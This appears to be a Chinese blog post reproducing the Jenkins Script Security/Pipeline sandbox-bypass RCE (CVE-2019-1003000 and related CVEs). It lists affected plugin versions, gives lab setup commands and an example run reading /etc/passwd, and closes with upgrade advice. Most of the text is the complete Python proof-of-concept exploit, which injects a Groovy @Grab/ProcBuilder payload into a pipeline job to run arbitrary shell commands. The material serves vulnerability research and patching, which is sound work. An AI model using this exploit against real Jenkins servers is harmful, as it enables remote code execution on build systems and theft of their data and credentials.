Jenkins RCE CVE-2019-1003000 漏洞复现

0x00 简述

拥有Overall/Read 权限的用户可以绕过沙盒保护,在jenkins可以执行任意代码
CVE-2019-1003000 (Script Security)
CVE-2019-1003001 (Pipeline: Groovy)
CVE-2019-1003002 (Pipeline: Declarative)

0x01 受影响的版本

Pipeline: Declarative Plugin up to and including 1.3.4
Pipeline: Groovy Plugin up to and including 2.61
Script Security Plugin up to and including 1.49

0x02 漏洞复现

复现漏洞CVE-2019-1003000 (Script Security)
测试环境需要安装docker
git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
cd cve-2019-1003000-jenkins-rce-poc
pip install -r requirements.txt
cd sample-vuln
./run.sh
cd ../
python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
环境搭建好后,已经创建好了帐号密码 user1 user1
以及创建了一个任务 my-pipeline
Jenkins RCE CVE-2019-1003000 漏洞复现
执行payload
Jenkins RCE CVE-2019-1003000 漏洞复现

0x03 payload

#!/usr/bin/python

# Author: Adam Jordan
# Date: 2019-02-15
# Repository: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
# PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)

import argparse
import jenkins
import time
from xml.etree import ElementTree

payload = '''
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }

print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString()
'''

def run_command(url, cmd, job_name, username, password):
    print '[+] connecting to jenkins...'
    # 连接jenkins服务器
    server = jenkins.Jenkins(url, username, password)
    print '[+] crafting payload...'
    '''
    <?xml version="1.1" encoding="UTF-8"?><flow-definition plugin="workflow-job@2.31">
  <actions/>
  <description/>
  <keepDependencies>false</keepDependencies>
  <properties/>
<definition class="org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition" plugin="workflow-cps@2.63">
    <script>node {
   echo 'Hello World'
    }</script>
    <sandbox>true</sandbox>
  </definition>
  <triggers/>
  <disabled>false</disabled>
    </flow-definition>

    '''
    #得到job的配置文件 如上
    ori_job_config = server.get_job_config(job_name)
    et = ElementTree.fromstring(ori_job_config)
    print et
    et.find('definition/script').text = payload % cmd
    job_config = ElementTree.tostring(et, encoding='utf8', method='xml')

    print '[+] modifying job with payload...'
    '''
    <?xml version='1.0' encoding='utf8'?>
<flow-definition plugin="workflow-job@2.31">
  <actions />
  <description />
  <keepDependencies>false</keepDependencies>
  <properties />
  <definition class="org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition" plugin="workflow-cps@2.63">
    <script>
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","id").run().getOutputString()
</script>
    <sandbox>true</sandbox>
  </definition>
  <triggers />
  <disabled>false</disabled>
</flow-definition>
    '''
    #修改后的job配置文件
    server.reconfig_job(job_name, job_config)
    time.sleep(3)

    print '[+] putting job build to queue...'
    queue_number = server.build_job(job_name)
    time.sleep(3)

    print '[+] waiting for job to build...'
    queue_item_info = {}
    while 'executable' not in queue_item_info:
        queue_item_info = server.get_queue_item(queue_number)
        time.sleep(1)

    print '[+] restoring job...'
    server.reconfig_job(job_name, ori_job_config)
    time.sleep(3)

    print '[+] fetching output...'
    last_build_number = server.get_job_info(job_name)['lastBuild']['number']
    console_output = server.get_build_console_output(job_name, last_build_number)

    print '[+] OUTPUT:'
    print console_output

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Jenkins RCE')

    parser.add_argument('--url', help='target jenkins url')
    parser.add_argument('--cmd', help='system command to be run')
    parser.add_argument('--job', help='job name')
    parser.add_argument('--username', help='username')
    parser.add_argument('--password', help='password')

    args = parser.parse_args()

    run_command(args.url, args.cmd, args.job, args.username, args.password)

首先从jenkins获取job my-pipeline的配置文件,然后将payload写入配置文件,重新构建job.

payload = '''
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }

print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString()
'''

0x04 修复建议

更新升级组件到安全版本
Pipeline: Declarative Plugin should be updated to version 1.3.4.1
Pipeline: Groovy Plugin should be updated to version 2.61.1
Script Security Plugin should be updated to version 1.50

参考连接:
http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
https://jenkins.io/security/advisory/2019-01-08/

转载于:https://blog.51cto.com/13770310/2352740

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值